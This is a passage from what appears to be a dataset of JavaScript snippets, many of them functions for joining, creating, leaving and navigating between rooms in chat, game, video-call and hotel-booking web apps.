goToRoom(e) {\\n\\te.preventDefault();\\n\\n\\tvar roomName = $.trim($('#roomName').val());\\n\\n\\tif(!roomName){ return; } \\n\\n window.location.href = '/covert/room/' + roomName;\\n}\",\n \"async function createChatroomAndRedirect(e) {\\n setLoading(true);\\n try {\\n let roomId = profileData.chatRoomId;\\n if (!roomId) {\\n roomId = await createChatRoomInDB(profileData.id, profileData.displayName);\\n }\\n\\n history.push('/chatRoom/' + roomId);\\n } catch (error) {\\n setLoading(false);\\n }\\n }\",\n \"function leaveRoom() {\\n window.location = routeHome()\\n }\",\n \"function clickRoom(room) {\\n\\tvar elem = document.getElementById(ROOM_ID_PREFIX + room);\\n\\t// var item = findRoomById(room);\\n\\t// var btn = document.getElementById(room + \\\"_button\\\");\\n\\n\\tpage_1.style.display = \\\"none\\\";\\n\\tpage_2.style.display = \\\"block\\\";\\n\\t// room_header_2.innerHTML = item.name;\\n\\tregister(loggedInUser, room);\\n\\twindow.history.replaceState('test', '', \\\"?room=\\\" + room);\\n\\t// TODO\\n\\tmapInit();\\n}\",\n \"function joinedRoom( room ) {\\n}\",\n \"function addRoom() {\\n\\tvar roomName = $('#add-room-name').val();\\n\\tvar posting = $.post(roomsAddURI, {\\n\\t\\tname : roomName\\n\\t});\\n\\tposting.done(function(data) {\\n\\t\\t//Add room via rest api then join it\\n\\t\\tvar room = JSON.parse(JSON.stringify(data));\\n\\t\\tjoinRoom(room.roomId, true);\\n\\t});\\n}\",\n \"function join() {\\n var roomName = roomField.value\\n , userName = userField.value\\n\\n roomStore.set(\\\"room-name\\\", roomName)\\n roomStore.set(\\\"user-name\\\", userName)\\n\\n roomField.value = \\\"\\\"\\n userField.value = \\\"\\\"\\n\\n room.emit(\\\"join\\\", roomName, userName)\\n}\",\n \"function handleJoinRoom(room_name){\\n clearErrors();\\n socket.emit(\\\"join_room\\\", room_name);\\n }\",\n \"function createRoom() {\\n db.Room.create({\\n room_id: req.body.room_id,\\n property_id: req.body.property_id,\\n price: req.body.price,\\n roomType: req.body.roomType,\\n aboutRoom: req.body.aboutRoom,\\n status: req.body.status,\\n closeDate: req.body.closeDate,\\n HotelId: thisId\\n })\\n .then(function() {\\n res.send(\\\"/choice/\\\" + lastSegment);\\n })\\n .catch(function(err) {\\n console.log(err);\\n res.json(err);\\n });\\n }\",\n \"function joinRoom(e, roomAlreadyCreated) {\\n e.preventDefault();\\n if (roomAlreadyCreated) {\\n if (!document.getElementById(\\\"username_shareableRoom\\\").value.length < 1) {\\n userName = document.getElementById(\\\"username_shareableRoom\\\").value;\\n socket.open();\\n var enteredRoomName = document.getElementById(\\\"roomToJoin\\\").value;\\n userName = document.getElementById(\\\"username_shareableRoom\\\").value;\\n socket.emit(\\\"joinRoom\\\", enteredRoomName, userName);\\n currentRoom = enteredRoomName;\\n MicroModal.close(\\\"shareableRoomCreatedModal\\\");\\n // showStartGameButton();\\n } else {\\n document.getElementById(\\\"username_shareableRoom\\\").style.border =\\n \\\"2px solid red\\\";\\n setTimeout(function () {\\n document.getElementById(\\\"username_shareableRoom\\\").style.border =\\n \\\"2px solid black\\\";\\n }, 3000);\\n }\\n } else {\\n if (username()) {\\n socket.open();\\n var enteredRoomName = document.getElementById(\\\"enteredRoomName\\\").value;\\n userName = document.getElementById(\\\"userName\\\").value;\\n socket.emit(\\\"joinRoom\\\", enteredRoomName, userName);\\n currentRoom = enteredRoomName;\\n }\\n }\\n}\",\n \"function setRoom(name) {\\n $('form').remove();\\n $('h1').text(name);\\n $('#subTitle').text('Link to join: ' + location.href);\\n $('body').addClass('active');\\n }\",\n \"instanciateRoom()\\n { \\n //this.createRoom();\\n $(\\\"#GP-btn_2\\\").text(\\\"Eliminar sala\\\")\\n $(\\\"#GP-btn_1\\\").css(\\\"display\\\", \\\"block\\\");\\n pageIndex = 4;\\n app.goToPage(\\\"Game-Roulete\\\");\\n }\",\n \"function _joinRoom() {\\n roomId = rooms[0].id;\\n // Join the room\\n socketInstance.post('/room/' + roomId + '/onlineUsers', { id: myChatId });\\n }\",\n \"function navigateToTickets(roomId){\\n window.location.href = \\\"tickets.html?roomId=\\\" + roomId; \\n}\",\n \"function createNewRoom() {\\r\\n // Generate room id.\\r\\n const newID = uuidv4().substring(0, 8);\\r\\n\\r\\n // Join room\\r\\n socket.join(newID);\\r\\n\\r\\n // Update corressponding object in usersArray\\r\\n updateUserRoom(socket, newID);\\r\\n\\r\\n // Send room data to socket\\r\\n io.to(socket.id).emit(\\\"roomData\\\", {\\r\\n roomId: newID,\\r\\n });\\r\\n }\",\n \"function goChatRoomList(id){\\n $(location).attr(\\\"href\\\",\\\"/chat/chatRoomList/\\\"+id);\\n }\",\n \"function leaveRoom() {\\n socketRef.current.emit(\\\"user clicked leave meeting\\\", socketRef.current.id);\\n props.history.push(\\\"/\\\");\\n }\",\n \"function joinRoom(id)\\n{\\n console.log('Request joinRoom: ' + id);\\n if (inRoom == false)\\n {\\n _warpclient.joinRoom(id);\\n } else {\\n console.warn('Already in another room: ' + roomId);\\n }\\n}\",\n \"function joinRoom(room)\\r\\n{\\r\\n //TODO erase... Name must be known previously\\r\\n var name = '';\\r\\n while(name == '')\\r\\n {\\r\\n name = prompt(\\\"Wie heißt du?\\\");\\r\\n }\\r\\n\\r\\n socket.emit('requestRoom', room, name);\\r\\n document.getElementById(\\\"chooseRoom\\\").classList.add('hidden');\\r\\n \\r\\n //TODO: maybe show loading icon...\\r\\n}\",\n \"function loadEventRoom(id)\\n{\\n localStorage.setItem(\\\"roomId\\\",id);\\n if(check_login())\\n window.location.replace('event_room.html');\\n else\\n window.location.replace('unauth_event_room.html');\\n}\",\n \"function go() {\\r\\n\\tvar name = document.getElementById(\\\"roomName\\\").value;\\r\\n\\tif(name !== \\\"\\\") {\\r\\n\\t\\twindow.location.replace(\\\"/?\\\" + name);\\r\\n\\t}\\r\\n}\",\n \"function joinUserRoom(name) {\\r\\n divHome.hide();\\r\\n divRoom.show();\\r\\n socket.emit(\\\"joinRoom\\\", name);\\r\\n currentRoom = name;\\r\\n}\",\n \"function createRoomButton(){\\n clearErrors();\\n if(newRoomName.length > 1){\\n createNewRoom(newRoomName)\\n .then(res => {\\n handleJoinRoom(res.data.room)\\n refreshButton();\\n })\\n setNewRoomName(\\\"\\\");\\n } else{\\n props.dispatch({type: ACTIONS.ERROR, payload: {errors: [\\\"Room name must be greater than 1 character\\\"]}})\\n }\\n }\",\n \"function createUserRoom(data) {\\r\\n inputRoomName.value('');\\r\\n divHome.hide();\\r\\n divRoom.show();\\r\\n currentRoom = data;\\r\\n}\",\n \"function leaveRoom() {\\n const leaveRoom = confirm('Are you sure you want to leave the chatroom?');\\n if (leaveRoom) {\\n window.location = '../index.html';\\n }\\n}\",\n \"function handleRoomSetup() {\\n app.log(2, 'handleRoomSetup entered');\\n var room_to_create = $.getUrlVar('roomname') || '',\\n item;\\n\\n room_to_create = room_to_create.replace(/ /g, '');\\n app.log(2, 'room_to_create ' + room_to_create);\\n\\n Callcast.CreateUnlistedAndJoin(room_to_create, function(new_name) {\\n var jqDlg, newUrl;\\n // We successfully created the room.\\n // Joining is in process now.\\n // trigger of joined_room will happen upon join complete.\\n\\n app.user.scheduleName = 'Place to meet up';\\n app.user.scheduleJid = new_name + Callcast.AT_CALLCAST_ROOMS;\\n app.user.scheduleTitle = 'Open room';\\n\\n // set local spot nick todo find a better place for this\\n item = app.carousel.getItem(0);\\n app.carousel.setSpotName(item, app.user.name);\\n\\n app.log(2, \\\"Room named '\\\" + new_name + \\\"' has been created. Joining now.\\\");\\n app.log(2, 'window.location ' + window.location);\\n if (room_to_create !== new_name)\\n {\\n newUrl = window.location.pathname + '?roomname=' + new_name;\\n app.log(2, 'replacing state ' + newUrl);\\n history.replaceState(null, null, newUrl);\\n }\\n\\n // warn user if room name changed (overflow)\\n if (room_to_create.length > 0 && room_to_create.toLowerCase() !== new_name.toLowerCase())\\n {\\n // display warning\\n jqDlg = $(app.STATUS_PROMPT_LEFT).css({\\\"display\\\": \\\"block\\\",\\n \\\"background-image\\\": 'url(images/warning.png)'});\\n $('#message', jqDlg).text('Room ' + room_to_create + ' overflowed. You are now in room ' + new_name);\\n $('#stop-showing', jqDlg).css('display', 'none');\\n $('#stop-showing-text', jqDlg).css('display', 'none');\\n }\\n\\n // initialize video, audio state here since this method\\n // is called after the local plugin is loaded\\n // use fb profile pick as bg image if it exists\\n if (!Callcast.IsVideoDeviceAvailable())\\n {\\n if (app.user.fbProfilePicUrl)\\n {\\n $('#meeting > #streams > #scarousel #mystream')\\n .css('background-image', 'url(' + app.user.fbProfilePicUrl + ')');\\n }\\n }\\n else // video available\\n {\\n if (typeof (Storage) !== 'undefined' && sessionStorage.bUseVideo === 'false') {\\n changeVideo(false);\\n }\\n else {\\n changeVideo(true); // do this unconditionally so ui gets updated\\n }\\n }\\n if (Callcast.IsMicrophoneDeviceAvailable())\\n {\\n if (typeof (Storage) !== 'undefined' && sessionStorage.bUseMicrophone === 'false') {\\n changeAudio(false);\\n }\\n else {\\n changeAudio(true); // do this unconditionally so ui gets updated\\n }\\n }\\n },\\n function(iq)\\n {\\n var errorMsg;\\n if ($(iq).find('roomfull'))\\n {\\n errorMsg = \\\"Sorry, the room \\\" + room_to_create + \\\" is full. Please try again later.\\\";\\n }\\n else\\n {\\n errorMsg = 'There was a problem entering the room ' + room_to_create;\\n }\\n\\n // display error\\n app.log(4, \\\"handleRoomSetup Error \\\" + iq.toString());\\n $('#errorMsgPlugin > h1').text('Oops!!!');\\n $('#errorMsgPlugin > p#prompt').text(errorMsg);\\n closeWindow();\\n openWindow('#errorMsgPlugin');\\n });\\n}\",\n \"createPoll(req, res){ \\n let roomID = req.params.roomId;\\n\\n //idea: to have only one link use session and store in object {session id: room id} if curr session and room found in object render\\n res.render('./teacher/create_poll', {roomID: roomID});\\n }\",\n \"joinRoom({state}, { roomId }) {\\n return state.currentUser.joinRoom({ roomId });\\n }\",\n \"function joinPersonalRoom() {\\n const roomName = createPrivateRoomName(drone.clientId);\\n const myRoom = drone.subscribe(roomName);\\n myRoom.on('open', error => {\\n if (error) {\\n return console.error(error);\\n }\\n console.log(`Successfully joined room ${roomName}`);\\n });\\n\\n myRoom.on('message', message => {\\n const {data, clientId} = message;\\n const member = members.find(m => m.id === clientId);\\n if (member) {\\n addMessageToRoomArray(createPrivateRoomName(member.id), member, data);\\n if (selectedRoom === createPrivateRoomName(clientId)) {\\n DOM.addMessageToList(data, member);\\n }\\n } else {\\n /* Message is sent from golang using the REST API.\\n * You can handle it like a regular message but it won't have a connection\\n * session attached to it (this means no member argument)\\n */\\n }\\n });\\n}\",\n \"joinRoom(room) {\\n if (room === undefined) return;\\n\\n console.log('Attempting to joinRoom. room: ', room);\\n\\n if (!this.isRoomEnterable())\\n {\\n console.log('Not already in a locked room. Cannot join. Giving up...');\\n return;\\n }\\n\\n // TODO: call some join room action\\n\\n $.ajax(\\n {\\n type: 'get',\\n url: 'skylink_api_key'\\n })\\n .done((apiKey) => {\\n\\n console.log('AJAX retrieved successfully.');\\n\\n this.skylink.init(\\n {\\n apiKey: apiKey,\\n defaultRoom: room\\n },\\n (error) => {\\n\\n if (error)\\n {\\n alert('An error has occurred while connecting to SkylinkJS.');\\n return;\\n }\\n\\n this.skylink.joinRoom({\\n audio: true,\\n video: true\\n })\\n });\\n })\\n .fail((err) => {\\n alert('An error has occurred while retrieving the Skylink API key from the server.');\\n });\\n }\",\n \"function func_join_room() {\\n var room_number = document.getElementById('input_text').value;\\n var list_length = list_of_joined.length++;\\n list_of_joined[list_length] = room_number;\\n $(\\\"#div_body_joinedRoom\\\").append(create_room(room_number, 1));\\n func_populate(room_number);\\n func_close_join_room_pop();\\n func_add_room_to_database(room_number);\\n}\",\n \"function setRoom(name) {\\r\\n $('#createRoom').remove();\\r\\n $('h1').text(name);\\r\\n // $('#subTitle').text(name + \\\" || link: \\\"+ location.href);\\r\\n $('body').addClass('active');\\r\\n}\",\n \"function continueClick(){\\n window.location = nextRoom;\\n}\",\n \"function joinroom(data) {\\n\\tvar tmproom = data;\\n\\tif (player != \\\"\\\" && passcode != \\\"\\\" && tmproom >= 0) {\\n\\n\\t\\tvar geturl = \\\"/sanaruudukko/rest/sr/process?func=joinroom&player=\\\" + player + \\\"&passcode=\\\" + passcode + \\\"&room=\\\" + tmproom;\\n\\t\\t$.ajax({\\n\\t\\t\\tcache: false,\\n\\t\\t\\tdataType : 'xml',\\n\\t\\t\\ttype : 'GET',\\n\\t\\t\\turl : geturl,\\n\\t\\t\\tsuccess : function(data) {\\n\\t\\t\\t\\tstartRoom(data);\\n\\t\\t\\t},\\n\\t\\t});\\n\\t}\\n}\",\n \"function joinRoom(obj) {\\r\\n modal.style.display = \\\"block\\\";\\r\\n room = obj.id;\\r\\n}\",\n \"function joinRoom() {\\n const roomId = this.id.substr(5, this.id.length-5)\\n player.updatePlayer1(false);\\n //player.setPlayerType(false);\\n socket.emit('joinGame', { name: player.name, room: this.id });\\n\\n //player = new Player(player.name, P2);\\n }\",\n \"render() {\\r\\n return (\\r\\n \\r\\n \\r\\n {\\r\\n return this.state.roomCode ? (\\r\\n \\r\\n ) : (\\r\\n this.renderFirstPage()\\r\\n );\\r\\n }}\\r\\n />\\r\\n \\r\\n \\r\\n \\r\\n \\r\\n {\\r\\n return ;\\r\\n }}\\r\\n />\\r\\n \\r\\n \\r\\n );\\r\\n }\",\n \"function createRoom(e) {\\n e.preventDefault();\\n if (username()) {\\n // $.ajax({\\n // url: '/createRoom',\\n // type: 'POST',\\n // beforeSend: function (xhr) {\\n // if (localStorage.getItem(appName)) {\\n // xhr.setRequestHeader('Authorization', localStorage.getItem(appName));\\n // }\\n // },\\n // data: {\\n // username: userName\\n // },\\n // success: function (token) {\\n // console.log(token);\\n // localStorage.setItem(appName, token.token);\\n // },\\n // error: function () {},\\n // });\\n\\n // TODO: Use this params to send token to server on new connection\\n // check if socket is valid and within time limit\\n socket.io.opts.query = {\\n token: alreadyPlayed(),\\n };\\n socket.open();\\n // FIXME: Delet Test emit\\n socket.emit(\\\"newMessage\\\", \\\"lol\\\", function (err, message) {\\n if (err) {\\n return console.error(err);\\n }\\n console.log(message);\\n });\\n socket.on(\\\"newMessage\\\", function (data) {\\n console.log(data);\\n });\\n\\n // Asking to create a new room\\n socket.emit(\\\"createRoom\\\", { username: userName });\\n // socket replies back with created room name (which should be sent to other user who wants to play together)\\n socket.on(\\\"roomNameIs\\\", function (roomName) {\\n // console.log(roomName);\\n document.getElementById(\\\"createdRoomName\\\").innerHTML =\\n \\\"Room name : \\\" + roomName;\\n $(\\\"#createdRoomName\\\").show();\\n currentRoom = roomName;\\n $(\\\".joinRoom\\\").hide();\\n $(\\\".createRoom\\\").hide();\\n $(\\\".generatRoomLink\\\").hide();\\n $(\\\".singleplayerMode\\\").hide();\\n showStartGameButton();\\n currentlyPlaying = true;\\n });\\n console.log(socket);\\n }\\n}\",\n \"function newroom() {\\n\\t$(\\\"#warning2\\\").html(\\\"\\\");\\n\\tvar tmproomname = document.roomform.roomname.value;\\n\\tif (tmproomname.search(/[^a-zA-Z0-9]/) != -1 || tmproomname.length > 16) {\\n\\t\\t$(\\\"#warning2\\\").html(\\\"Viallinen huoneen nimi.\\\");\\n\\t\\treturn;\\n\\t}\\n\\tvar roomname = tmproomname;\\n\\tif (player != \\\"\\\" && passcode != \\\"\\\" && roomname != \\\"\\\") {\\n\\n\\t\\tvar geturl = \\\"/sanaruudukko/rest/sr/process?func=newroom&player=\\\" + player + \\\"&passcode=\\\" + passcode + \\\"&roomname=\\\" + roomname;\\n\\t\\t$.ajax({\\n\\t\\t\\tcache: false,\\n\\t\\t\\tdataType : 'xml',\\n\\t\\t\\ttype : 'GET',\\n\\t\\t\\turl : geturl,\\n\\t\\t\\tsuccess : function(data) {\\n\\t\\t\\t\\tstartRoom(data);\\n\\t\\t\\t},\\n\\t\\t});\\n\\t}\\n}\",\n \"function newRoom($id)\\n{\\n\\tif(groupRooms == 0)\\n\\t{\\n\\t\\tshowInfoBox(\\\"system\\\",\\\"220\\\",\\\"300\\\",\\\"200\\\",\\\"\\\",lang6);\\n\\t\\treturn false;\\t\\t\\t\\n\\t}\\n\\n\\tif($id == '1')\\n\\t{\\n\\t\\t// show create room\\n\\t\\tdocument.getElementById(\\\"roomCreate\\\").style.visibility = 'visible';\\n\\t}\\n\\telse\\n\\t{\\n\\t\\t// hide create room\\n\\t\\tdocument.getElementById(\\\"roomCreate\\\").style.visibility = 'hidden';\\n\\t}\\n return false;\\n}\",\n \"function dial (room){\\n if (room !== '') {\\n socket.emit('create or join', room);\\n console.log('Attempted to create or join room', room);\\n }\\n}\",\n \"joinRoom(data) {\\n socket.emit('join-room', data);\\n }\",\n \"function joinRoom(socket, room) {\\n // If the close timer is set, cancel it\\n // if (closeTimer[room]) {\\n // clearTimeout(closeTimer[room]);\\n // }\\n\\n // Create Paperjs instance for this room if it doesn't exist\\n var project = projects.projects[room];\\n if (!project) {\\n console.log(\\\"made room\\\");\\n projects.projects[room] = {};\\n // Use the view from the default project. This project is the default\\n // one created when paper is instantiated. Nothing is ever written to\\n // this project as each room has its own project. We share the View\\n // object but that just helps it \\\"draw\\\" stuff to the invisible server\\n // canvas.\\n projects.projects[room].project = new paper.Project();\\n projects.projects[room].external_paths = {};\\n db.join(socket, room);\\n } else { // Project exists in memory, no need to load from database\\n loadFromMemory(room, socket);\\n }\\n}\",\n \"function joinRoom(roomName) {\\n disableElements('joinRoom');\\n\\n // Check if roomName was given or if it's joining via roomName input field\\n if(typeof roomName == 'undefined'){\\n roomName = document.getElementById('roomName').value;\\n }\\n document.getElementById('roomName').value = roomName;\\n\\n var data = {\\n id: \\\"joinRoom\\\",\\n roomName: roomName\\n };\\n sendMessage(data);\\n}\",\n \"function joinAndConnectRoom (roomId) {\\n $.post(\\\"/chatroom/joinedRooms\\\", {username:username}, function(data) {\\n let joinedRoomsGroup = $(\\\"#joinedRooms\\\");\\n joinedRoomsGroup.empty();\\n if (data == null) return;\\n for(let i = 0; i < data.length ;i++) {\\n let room = data[i];\\n let type = room.type;\\n let roomTemp = templateJoinedRoom;\\n roomTemp = roomTemp.replace('ROOM-NAME', room.name);\\n roomTemp = roomTemp.replace('ROOM-ID',room.id);\\n roomTemp = roomTemp.replace('all-room-ROOM-ID','joined-room' + room.id);\\n if(type === \\\"Public\\\") {\\n if(room.name === \\\"General\\\") {\\n roomTemp = roomTemp.replace('ROOM-STYLE',\\\"list-group-item-success\\\");\\n } else {\\n roomTemp = roomTemp.replace('ROOM-STYLE',\\\"list-group-item-primary\\\");\\n }\\n } else if (type === \\\"Private\\\") {\\n roomTemp = roomTemp.replace('ROOM-STYLE',\\\"list-group-item-secondary\\\");\\n } else {\\n return null;\\n }\\n roomTemp = roomTemp.replace('ROOM-GROUP-NAME',\\\"joined-room\\\");\\n joinedRoomsGroup.append(roomTemp);\\n }\\n $('#joined-room' + roomId).prop(\\\"checked\\\", true);\\n connectToRoom();\\n },\\\"json\\\");\\n}\",\n \"function requestCreateRoom() {\\r\\n if (inputRoomName.value()) {\\r\\n socket.emit(\\\"createRoomRequest\\\", inputRoomName.value(), (response) => {\\r\\n if(!response){\\r\\n errorNameUsed(inputRoomName.value());\\r\\n } else{\\r\\n createUserRoom(inputRoomName.value());\\r\\n }\\r\\n });\\r\\n currentRoom = inputRoomName.value();\\r\\n }\\r\\n}\",\n \"function generateNewRoom(name) {\\n\\t\\n\\t//send the request to the server\\n\\tvar posting = $.post(roomsURI + \\\"/add\\\", {\\n\\t\\tname : name\\n\\t});\\n\\t\\n\\t//Send new room to server\\n\\tposting.done(function(data) {\\n\\t\\tvar room = JSON.parse(JSON.stringify(data));\\n\\t\\t//$(\\\"#chat-rooms-list\\\").children(\\\"li[room_id!=2]\\\").remove(); //remove the last room\\n\\t\\t//$(\\\"#chat-rooms-list\\\").append(createRoomElement(room)); //add this in it's place\\n\\t\\t$(\\\"#chat-rooms-dropdown-list\\\").append(createRoomElement(room));\\n\\t\\troom_id_list.push(room.roomID);\\n\\t\\tjoinRoom(room.roomID,true);\\n\\t});\\n}\",\n \"joinRoom(roomId) {\\n this.socket.emit('create or join', roomId)\\n console.log(`joinRoom ${roomId}`)\\n this.roomId = roomId\\n }\",\n \"function getRoom(request, response) {\\n let roomName = request.params.roomName;\\n // Chatroom.find({chatroom_name: roomName}, function (err, docs) {\\n // if (err) {\\n // console.log(err);\\n // } else {\\n // let roomId;\\n // // If a chatroom with that name exists get it, else create one\\n // if (docs.length > 0) {\\n // roomId = docs[0].chatroom_id;\\n // } else {\\n // roomId = roomGenerator.roomIdGenerator()\\n // const newChatroom = new Chatroom ({\\n // chatroom_id: roomId,\\n // chatroom_name: roomName\\n // });\\n\\n // newChatroom\\n // .save()\\n // .then(item => console.log(item))\\n // .catch(err => console.log(err));\\n // }\\n\\n // TODO: Get the messages and submit to room.hbs\\n Messages.find({ chatroom_name: roomName })\\n .lean()\\n .then((items) => {\\n response.render(\\\"room\\\", {\\n title: \\\"chatroom\\\",\\n roomName,\\n messages: items,\\n isAvailable: true,\\n // newRoomId: roomId\\n });\\n });\\n}\",\n \"function goToRoster()\\n{\\n saveTeam();\\n window.location.href = \\\"roster.html\\\";\\n}\",\n \"connectToRoom() {\\n const activeRoom = get(this, 'roomId');\\n if (activeRoom) {\\n const sessionManager = get(this, 'webrtc');\\n sessionManager.joinRoom(activeRoom);\\n }\\n }\",\n \"function roomover(){\\n createtoast('u have been kicked out by ADMIN');\\n showfeedbackscreen();\\n //window.location.href = window.location.origin;\\n}\",\n \"function newRoom() {\\n socket.emit(\\\"newRoom\\\");\\n}\",\n \"function createNewRoom() {\\n console.log(nextRoomId);\\n createRoomDOM(nextRoomId);\\n signalRoomCreated(nextRoomId);\\n\\n nextRoomId++;\\n}\",\n \"enterRoom(room) {\\n console.warn(\\\"Cannot enter room different room from InBrowserBot\\\")\\n }\",\n \"join(room){\\n \\tthis.room[room] = true;\\n\\t}\",\n \"goToAjout() {\\n history.push(\\\"/main/clients/ajout\\\");\\n }\",\n \"joinRoom(room, hostExist, listensers) {\\n trace(`Entering room '${room}'...`);\\n this.socket.emit('join', room, hostExist, listensers);\\n }\",\n \"function joinRoom() {\\n var u = document.getElementById(\\\"username\\\").value;\\n if(u === \\\"\\\") {\\n setJoinError(\\\"Please choose a username\\\");\\n return;\\n }\\n var r = document.getElementById(\\\"room\\\").value;\\n if(r === \\\"\\\") {\\n setJoinError(\\\"Please enter a room\\\");\\n return;\\n }\\n var c = document.getElementById(\\\"color\\\").value;\\n if(c === \\\"\\\") {\\n setJoinError(\\\"Please choose a color\\\");\\n return;\\n }\\n r = r.replace(/\\\\s+/g, ''); // Remove whitespace from room name\\n r = r.toLowerCase();\\n var join_message = {username: u, room: r, color: c};\\n Game = new MultiplayerGame(u, r);\\n socket.emit('join', join_message)\\n}\",\n \"function joinRoom() {\\r\\n let roomID = $(\\\"#joinRoomID\\\").val();\\r\\n socket.emit(\\\"joinByRoomID\\\", roomID);\\r\\n}\",\n \"function joinRoom(event){\\n \\tvar x = $(event.target).text();\\n if(x == roomIn){\\n\\n } else {\\n socketio.emit(\\\"join_room\\\", {roomName:x, password:\\\"\\\"});\\n }\\n }\",\n \"function createOrAddToRoom(){\\n\\n if(!socketClients[clientId]){\\n\\n //if user does not exist\\n return getUserData( msg.cookie ).then(function(userObject,error){//what if cookie is invalid\\n if (error) return sendError('invalid cookie')\\n socketClients[clientId] = {user:{id:userObject.id, username:userObject.username}, socket:ws}\\n\\n createOrAddToRoom()\\n })\\n\\n \\n }\\n\\n //also broadcast on join and leave and also joined member\\n // console.log(clientId,'creating room or adding:'+roomLabel)\\n function createRoom(){\\n roomToken = random()\\n roomsRegistry[roomLabel].notFull[roomToken] = {clients:[],limit:roomLimit}\\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\\n }\\n\\n if (!roomsRegistry[roomLabel]){ //room not constructed \\n roomsRegistry[roomLabel] = { full:{},notFull:{} }\\n createRoom()\\n }else{\\n\\n if ( Object.keys(roomsRegistry[roomLabel].notFull).length === 0 ) {\\n createRoom()\\n }else{\\n\\n roomToken = Object.keys(roomsRegistry[roomLabel].notFull)[0]\\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\\n broadcast(roomToken,socketClients[clientId].user,'onjoin',roomLabel)\\n\\n let notFullRoomLimit = roomsRegistry[roomLabel].notFull[roomToken].limit\\n let membersCountOfNotFull = roomsRegistry[roomLabel].notFull[roomToken].clients.length\\n\\n \\n\\n // if(membersCountOfNotFull > notFullRoomLimit) console.log('limit exceeded', membersCountOfNotFull, notFullRoomLimit)\\n\\n if(membersCountOfNotFull === notFullRoomLimit){\\n roomsRegistry[roomLabel].full[roomToken] = roomsRegistry[roomLabel].notFull[roomToken]\\n roomsRegistry[roomLabel].notFull = removeKey(roomsRegistry[roomLabel].notFull,roomToken)\\n }\\n\\n }\\n\\n }\\n\\n broadcast(roomToken,null,'onopen',roomLabel)\\n\\n }\",\n \"function join ( room, username ) {\\n \\n var id = getRoomId ( room );\\n \\n mapUserRooms ( id, username );\\n \\n return id;\\n}\",\n \"function createBoard() {\\n\\tsocket.close();\\n\\tdocument.location.href = 'crear-partida.xhtml?session=' + session + '&player=' + player;\\n}\",\n \"function leaveRoom() {\\n let chatLink = server + '/chat/' + roomId;\\n Swal.fire({ background: background, position: \\\"top\\\", title: \\\"Leave this room?\\\",\\n html: `

    If you want to continue to chat,
    go to the main page and
    click on chat of this room

    `,\\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\\n }).then((result) => { if (result.isConfirmed) window.location.href = \\\"/main\\\"; });\\n}\",\n \"function bookRoom(roomTypeId, checkIn, checkOut) {\\n // if the user isn't signed in, prompt them to do so (or create an account)\\n if(localStorage.getItem('userLogin') == null) {\\n document.getElementById(\\\"sectLogin\\\").style['display'] = \\\"block\\\";\\n showSignIn();\\n } else {\\n // the user is already signed in, so go to the checkout page\\n window.location.assign(\\\"bookReservation.html?roomTypeId=\\\" + roomTypeId + \\\"&checkIn=\\\" + checkIn + \\\"&checkOut=\\\" + checkOut);\\n }\\n}\",\n \"function switchRoom(room){\\n\\t\\tsocket.emit('switchRoom', room);\\n\\t}\",\n \"function findRoom(req, res, next) {\\n if (req.query.Name == null) res.redirect(\\\"/rooms\\\");\\n else {\\n room\\n .findOne({ Name: req.query.Name })\\n .populate({\\n path: \\\"Detail\\\",\\n populate: {\\n path: \\\"Reserve\\\",\\n match: {\\n $or: [\\n { DateIn: { $gt: req.query.from, $lt: req.query.to } },\\n { DateOut: { $gt: req.query.from, $lt: req.query.to } }\\n ]\\n }\\n }\\n })\\n .exec(function(err, Room) {\\n if (err) console.error(err);\\n var counter = 0;\\n for (var i = 0; i < Room.Detail.length; i++) {\\n if (Room.Detail[i].Reserve.length == 0) {\\n counter++;\\n req.session.ReserveInfo = Room.Detail[i];\\n req.session.RoomInfo = Room;\\n break;\\n }\\n }\\n if (counter == 0) {\\n console.log(\\\"No room left\\\");\\n res.redirect(\\\"/rooms/\\\" + req.query.Name, {\\n info: { message: \\\"No Room Left\\\" }\\n });\\n } else {\\n return next();\\n }\\n });\\n }\\n}\",\n \"function joinOrCreateRoom(roomCode) {\\n socket.join(roomCode, () => {\\n // Sets the socket's room code\\n socket.roomCode = roomCode\\n // Sends room code to client\\n socket.emit('room_joined', roomCode)\\n // Updates GM's player list\\n updateGMRoomMembers()\\n })\\n }\",\n \"getRoomURL() {\\n return location.protocol + \\\"//\\\" + location.host + (location.path || \\\"\\\") + \\\"?room=\\\" + this.getRoom();\\n }\",\n \"function enter(role) {\\r\\n\\r\\n\\tdisableNameInput();\\r\\n\\tvar message = {\\r\\n\\t\\tid: 'joinRoom',\\r\\n\\t\\tname: name,\\r\\n\\t\\troomName: roomId,\\r\\n\\t\\trole: role,\\r\\n\\t\\t// Flags for use cases, where user did not give the permissions to his media devices.\\r\\n\\t\\t// Constraints to the connection to KMS should be in the same way e.g. audio:true; video:false.\\r\\n\\t\\taudioOn: acceptAudio,\\r\\n\\t\\tvideoOn: acceptVideo,\\r\\n\\t\\tvideoBeforeEnterTheRoom: videoBeforeEnterTheRoom\\r\\n\\t}\\r\\n\\tsendMessage(message);\\r\\n\\ttoggleEnterLeaveButtons();\\r\\n\\r\\n}\",\n \"function name_validate(roomParam) {\\n roomParam.child(\\\"people/\\\" + $(\\\"#input_name\\\").val()).once('value', snapshot => {\\n if (!snapshot.exists()) {\\n let name = $(\\\"#input_name\\\").val();\\n roomParam.child(\\\"people/\\\" + name).set(true); //adds username to the database, within the room they are joining\\n myStorage.setItem(\\\"name\\\", name);\\n myStorage.setItem(\\\"roomCode\\\", $(\\\"#input_number\\\").val());\\n window.location.href = \\\"activity.html\\\";\\n // a comment\\n } else {\\n $(\\\".join_room_popup_content\\\").css(\\\"height\\\",\\\"14em\\\");\\n $(\\\"#pop_message\\\").html(\\\"Sorry, that name is taken.\\\");\\n }\\n });\\n }\",\n \"function renderRoom(req, res) {\\n res.render('pages/room', {connectedUsers: connectedUsers});\\n}\",\n \"function changeRoom() {\\n if (currentRoom !== undefined) {\\n var desired_room = rotateRoom(currentRoom, this.id);\\n\\n initialState();\\n setMqttRoom(desired_room);\\n get_backend(room_list[desired_room]);\\n\\n }\\n}\",\n \"function buttonClicked(event) {\\n var button = event.target;\\n var room = button.parentElement.parentElement.parentElement;\\n console.log(room);\\n localStorage.setItem(\\\"bookingRoom\\\", room.id);\\n window.location.assign(\\\"bookingPage.html\\\")\\n}\",\n \"function setJoinCallBtn() {\\n joinCallBtn.addEventListener(\\\"click\\\", async (e) => {\\n 